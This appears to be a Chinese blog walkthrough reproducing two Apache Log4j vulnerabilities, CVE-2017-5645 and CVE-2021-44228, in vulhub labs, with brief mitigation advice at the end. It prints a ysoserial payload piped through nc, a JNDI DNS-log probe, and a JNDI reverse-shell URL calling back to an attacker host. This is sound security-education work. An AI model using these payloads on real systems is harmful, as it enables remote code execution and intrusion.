【漏洞复现】Apache Log4j系列漏洞复现
【漏洞复现】Apache Log4j系列漏洞复现
一、Log4j反序列化命令执行漏洞(CVE-2017-5645)
1、漏洞原因
影响版本:Apache Log4j 2.x 版本(2.8.2之前的2.x版本)
Log4j 是一个广泛应用的Java 日志库,用来记录程序日志,并且支持远程服务器。是一个由Apache软件基金会维护的开源日志框架,它为Java应用程序提供了灵活的日志记录功能。该框架允许开发者通过配置文件来控制日志的输出目的地、输出格式、日志级别等,而无需修改应用程序代码。这使得日志管理变得更加灵活和高效。一些著名的开源项目,如sprint、hibernate、struts 都是使用该日志框架。
攻击者可以通过发送一个特别制作的2进制payload,在该组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
2、环境搭建
vulhub 的CVE-2017-5645
1 | docker-compose up -d |
3、漏洞复现
使用ysoserial工具:网盘已提供
ysoserial 是一个Java反序列化的利用工具,包含了多种利用链,可以生成利用不安全的 Java 对象反序列化的恶意负载(payload)。
1 | java -jar ysoserial.jar CommonsCollections5 "需要执行的脚本base64编码和解码命令" | nc 靶机IP 靶机端口 |
成功接收到反弹shell。这里经过尝试,需要在公网上执行进行中转
二、Log4j2远程代码执行漏洞(CVE-2021-44228)
1、漏洞原因
影响版本:Apache Log4j 2 的 2.0 到 2.14.1
log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,而Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上造成远程代码执行(RCE)漏洞,执行任意代码。
漏洞的基本原理是Log4j2在处理日志消息时,会调用MessagePatternConverter消息组件中的format 方法,该方法会截取消息中的美元符号$连接花括号{}之间的字符串。如果这些字符串被设置为 jndi:ldap
的协议格式(例如${jndi:ldap://x.x.x.x:8000/xxx.class}),Log4j2解析到 jndi 则会去指定的 x.x.x.x:8000 的 ldap 服务找对应的xxx.class,如果没有,则会尝试从远程机器的 http 服务上找,如果找到了则返回到 JNDI 接口和Log4j2 组件,那么Log4j2 组件会将其下载下来,发现是class 文件,就会去执行里面的代码,造成远程代码执行
2、环境搭建
vulhub — CVE-2021-44228
3、漏洞复现
访问靶机IP:8983
1、构造POC
1 | ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} |
在dnslog平台看到回显,或者用BP 的Collaborator 也可以
2、反弹shell
我们用到JNDIExploit.v1.2 工具:网盘已提供
先在vps攻击机上进行监听
1 | nc -lvvp 6666 |
然后用工具执行(需要1389、8080端口未占用)
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip |
执行POC
1 | http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666} |
成功获取shell
未完待续:https://blog.csdn.net/Myon5/article/details/136548391
三、防御措施
- 更新Log4j版本:升级Log4j2到最新的安全版本(2.16或更高版本),这些版本已经修复了这个漏洞。
如果无法立即升级,可以添加系统属性log4j2.formatMsgNoLookups=true来禁用消息查找功能。 - 限制外部服务器访问:限制或禁止对外部JNDI服务器的访问,特别是LDAP和RMI服务。
- 限制日志访问:限制对日志文件的访问权限,以防止未经授权的用户访问和操纵日志消息。